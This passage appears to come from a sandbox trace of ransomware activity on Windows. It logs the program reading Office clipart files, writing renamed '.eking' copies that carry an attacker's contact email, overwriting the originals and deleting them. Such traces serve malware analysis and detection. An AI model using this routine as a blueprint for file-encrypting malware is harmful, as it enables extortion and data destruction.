dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.523] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.523] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.524] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x19ec, lpOverlapped=0x0) returned 1 [0191.526] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x19f0, lpOverlapped=0x0) returned 1 [0191.527] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.528] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.528] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.528] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x19ec, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x19ec, lpOverlapped=0x0) returned 1 [0191.530] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.534] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.536] CloseHandle (hObject=0x1e8) returned 1 [0191.536] CloseHandle (hObject=0x1b8) returned 1 [0191.538] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0191.539] SetEvent (hEvent=0x174) returned 1 [0191.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.540] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4612) returned 1 [0191.540] CloseHandle (hObject=0x1b8) returned 1 [0191.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0191.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0191.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.541] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.541] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.541] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1204, lpOverlapped=0x0) returned 1 [0191.544] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1210, lpOverlapped=0x0) returned 1 [0191.545] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.545] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.545] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.545] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1204, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1204, lpOverlapped=0x0) returned 1 [0191.547] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.551] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.553] CloseHandle (hObject=0x1b8) returned 1 [0191.554] CloseHandle (hObject=0x1e8) returned 1 [0191.555] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0191.557] SetEvent (hEvent=0x174) returned 1 [0191.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.558] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3144) returned 1 [0191.558] CloseHandle (hObject=0x1e8) returned 1 [0191.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0191.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0191.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.558] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.558] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.559] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xc48, lpOverlapped=0x0) returned 1 [0191.561] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xc50, lpOverlapped=0x0) returned 1 [0191.563] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.563] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.563] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.563] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xc48, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xc48, lpOverlapped=0x0) returned 1 [0191.566] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.570] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.571] CloseHandle (hObject=0x1e8) returned 1 [0191.572] CloseHandle (hObject=0x1b8) returned 1 [0191.573] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0191.575] SetEvent (hEvent=0x174) returned 1 [0191.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.577] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7668) returned 1 [0191.577] CloseHandle (hObject=0x1b8) returned 1 [0191.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0191.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0191.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.579] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.579] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.580] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1df4, lpOverlapped=0x0) returned 1 [0191.582] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1e00, lpOverlapped=0x0) returned 1 [0191.583] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.584] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.584] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.584] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1df4, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1df4, lpOverlapped=0x0) returned 1 [0191.587] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.591] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.594] CloseHandle (hObject=0x1b8) returned 1 [0191.595] CloseHandle (hObject=0x1e8) returned 1 [0191.596] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0191.598] SetEvent (hEvent=0x174) returned 1 [0191.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.599] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8492) returned 1 [0191.599] CloseHandle (hObject=0x1e8) returned 1 [0191.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0191.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0191.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.600] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.600] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.604] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x212c, lpOverlapped=0x0) returned 1 [0191.606] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2130, lpOverlapped=0x0) returned 1 [0191.608] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.608] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.608] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.608] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x212c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x212c, lpOverlapped=0x0) returned 1 [0191.611] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.614] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.617] CloseHandle (hObject=0x1e8) returned 1 [0191.617] CloseHandle (hObject=0x1b8) returned 1 [0191.619] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0191.620] SetEvent (hEvent=0x174) returned 1 [0191.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.621] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7804) returned 1 [0191.621] CloseHandle (hObject=0x1b8) returned 1 [0191.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0191.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0191.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.622] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.622] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.623] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1e7c, lpOverlapped=0x0) returned 1 [0191.625] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1e80, lpOverlapped=0x0) returned 1 [0191.626] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.626] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.626] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.626] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1e7c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1e7c, lpOverlapped=0x0) returned 1 [0191.629] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.632] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.635] CloseHandle (hObject=0x1b8) returned 1 [0191.635] CloseHandle (hObject=0x1e8) returned 1 [0191.636] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0191.638] SetEvent (hEvent=0x174) returned 1 [0191.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.639] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7804) returned 1 [0191.639] CloseHandle (hObject=0x1e8) returned 1 [0191.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0191.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0191.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.639] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.639] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 